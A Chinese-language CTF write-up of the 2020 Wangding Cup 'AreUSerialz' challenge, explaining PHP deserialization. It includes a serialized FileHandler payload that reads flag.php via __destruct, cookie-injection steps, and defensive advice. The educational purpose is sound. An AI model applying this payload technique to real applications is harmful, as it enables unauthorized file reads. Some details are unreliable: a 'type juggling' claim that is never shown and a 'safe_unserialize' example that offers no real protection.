1. 题目背景与核心考点解析
"AreUSerialz"是2020年网鼎杯网络安全大赛青年组Web方向的一道典型CTF题目。这道题主要考察PHP反序列化漏洞的利用技巧,结合了类型混淆(Type Juggling)和字符编码处理等知识点。作为当年比赛中的中等难度题目,它要求选手在有限时间内完成从代码审计到漏洞利用的全过程。
这道题目的名称"AreUSerialz"本身就是一个提示——它暗示着题目核心与PHP的序列化(serialize)和反序列化(unserialize)机制密切相关。在实际比赛中,这类题目通常会提供一个包含漏洞的Web应用,选手需要通过分析找到可利用的反序列化入口点。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境搭建与题目分析
2.1 基础环境准备
要复现这道题目,我们需要准备以下环境:
- PHP 5.6或7.x运行环境(题目原环境为PHP 7.2)
- Web服务器(Apache/Nginx)
- 基础的代码审计工具(如VS Code+PHP插件)
注意:不同PHP版本对反序列化的处理有细微差异,建议使用Docker创建与比赛一致的环境:
bash复制docker run -it -p 8080:80 --name web_areuserialz php:7.2-apache
2.2 题目代码结构分析
根据赛后公开的Writeup和参赛者分享,题目主要包含以下关键文件:
code复制/index.php # 主入口文件
/class.php # 包含待反序列化的类定义
/flag.php # 存储flag的文件
class.php中定义了三个关键类:
php复制class FileHandler {
protected $op;
protected $filename;
protected $content;
public function __construct($op, $filename, $content) {
$this->op = $op;
$this->filename = $filename;
$this->content = $content;
}
public function process() {
if($this->op == "write") {
file_put_contents($this->filename, $this->content);
} elseif($this->op == "read") {
echo file_get_contents($this->filename);
} else {
die("Invalid operation");
}
}
public function __destruct() {
$this->process();
}
}
class User {
public $username;
public $password;
public function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}
public function __wakeup() {
if($this->username === "admin") {
$this->password = "secret";
}
}
}
class Admin extends User {
public function __construct($username, $password) {
parent::__construct($username, $password);
}
public function __toString() {
return $this->username;
}
}
3. 漏洞原理深度解析
3.1 PHP反序列化基础
PHP反序列化漏洞产生的根本原因是:当unserialize()函数的参数可控时,攻击者可以构造特定的序列化字符串,在反序列化过程中触发类中定义的魔术方法(如__wakeup、__destruct等),从而执行恶意代码。
关键魔术方法:
- __construct:对象创建时调用
- __destruct:对象销毁时调用
- __wakeup:反序列化时调用
- __toString:对象被当作字符串使用时调用
3.2 本题漏洞链分析
本题的漏洞利用链(POP Chain)可以这样构建:
- 通过可控的unserialize入口传入恶意序列化数据
- 反序列化触发FileHandler类的__destruct方法
- __destruct调用process方法
- 通过控制$op和$filename实现任意文件读取
- 最终读取flag.php获取flag
3.3 类型混淆漏洞利用
题目中一个精妙的设计是对protected属性的处理。在PHP中,protected属性在序列化后会带有特殊前缀(\x00*\x00),但在不同PHP版本中处理方式不同。本题需要构造特殊的序列化字符串绕过这些限制。
4. 漏洞利用实战步骤
4.1 构造恶意序列化数据
我们需要构造一个FileHandler对象的序列化字符串,使其能够读取flag.php:
php复制<?php
class FileHandler {
protected $op = "read";
protected $filename = "flag.php";
protected $content;
}
$obj = new FileHandler("read", "flag.php", null);
$payload = serialize($obj);
echo $payload;
?>
原始输出:
code复制O:11:"FileHandler":3:{s:5:"*op";s:4:"read";s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}
4.2 处理protected属性问题
由于protected属性在序列化后包含不可见字符(\x00),我们需要手动处理:
- 将"\x00*\x00"替换为"%00*%00"
- 或者直接使用大写S表示二进制字符串:
修改后的payload:
code复制O:11:"FileHandler":3:{S:5:"\00*\00op";s:4:"read";S:11:"\00*\00filename";s:8:"flag.php";S:10:"\00*\00content";N;}
4.3 完整利用过程
假设题目接收序列化数据通过cookie传递,利用步骤如下:
- 使用浏览器开发者工具修改cookie,添加:
code复制user_data=<上面构造的payload> - 刷新页面触发反序列化
- 查看页面源代码,flag将出现在注释或直接输出中
5. 防御方案与最佳实践
5.1 安全编码建议
- 避免直接反序列化用户输入
- 使用json_encode/json_decode替代serialize/unserialize
- 对必须使用反序列化的情况:
- 实现严格的类型检查
- 使用PHP 7的allowed_classes限制可反序列化的类
- 添加数字签名验证数据完整性
5.2 加固后的FileHandler类示例
php复制class SafeFileHandler {
private $op;
private $filename;
private $content;
private $allowed_ops = ['read', 'write'];
public function __construct($op, $filename, $content) {
if(!in_array($op, $this->allowed_ops)) {
throw new InvalidArgumentException("Invalid operation");
}
if(!is_string($filename) || preg_match('/\.\.|\//', $filename)) {
throw new InvalidArgumentException("Invalid filename");
}
$this->op = $op;
$this->filename = basename($filename);
$this->content = $content;
}
// ...其余方法不变...
}
// 安全的反序列化方式
function safe_unserialize($data) {
$data = json_decode(json_encode($data), true);
// 进行严格的参数检查后再创建对象
return new SafeFileHandler($data['op'], $data['filename'], $data['content']);
}
6. 比赛经验与技巧分享
6.1 CTF中PHP反序列化的常见模式
-
寻找unserialize的入口点:
- Cookie、POST参数、Session数据
- 文件缓存、数据库存储的序列化数据
- Phar文件元数据
-
构建POP链的技巧:
- 优先寻找__destruct和__wakeup方法
- 跟踪方法调用链,寻找可利用的点
- 注意属性访问和类型转换
6.2 调试技巧
-
使用xdebug跟踪反序列化过程:
ini复制zend_extension=xdebug.so xdebug.mode=debug xdebug.start_with_request=yes -
打印反序列化过程中的对象状态:
php复制function log_object($obj) { file_put_contents('debug.log', print_r($obj, true), FILE_APPEND); }
6.3 常见问题排查
-
序列化字符串无效:
- 检查属性可见性(public/private/protected)
- 验证字符串长度声明与实际长度一致
- 处理特殊字符(使用大写S类型)
-
魔术方法未触发:
- 确认类已正确定义和加载
- 检查PHP版本差异(特别是PHP 7与PHP 5的行为差异)
- 确保对象被正确销毁(如使用unset或脚本结束)
7. 扩展学习资源
-
PHP官方文档:
- 序列化:https://www.php.net/manual/en/function.serialize.php
- 反序列化:https://www.php.net/manual/en/function.unserialize.php
-
安全研究:
- PHP反序列化漏洞白皮书
- OWASP反序列化防护指南
-
进阶挑战:
- Phar文件反序列化
- 使用ReflectionClass构建复杂POP链
- 结合其他漏洞的综合利用
在实际CTF比赛中,遇到类似题目时,建议按照以下步骤系统性地分析和解决问题:
- 代码审计:全面分析所有PHP文件,寻找反序列化入口和可利用的类
- 环境搭建:复现题目环境,确保本地测试与比赛环境一致
- 漏洞利用:构建有效的POP链,考虑各种过滤和限制
- 防御绕过:处理属性可见性、字符编码等细节问题
- 最终利用:构造精确的payload获取flag
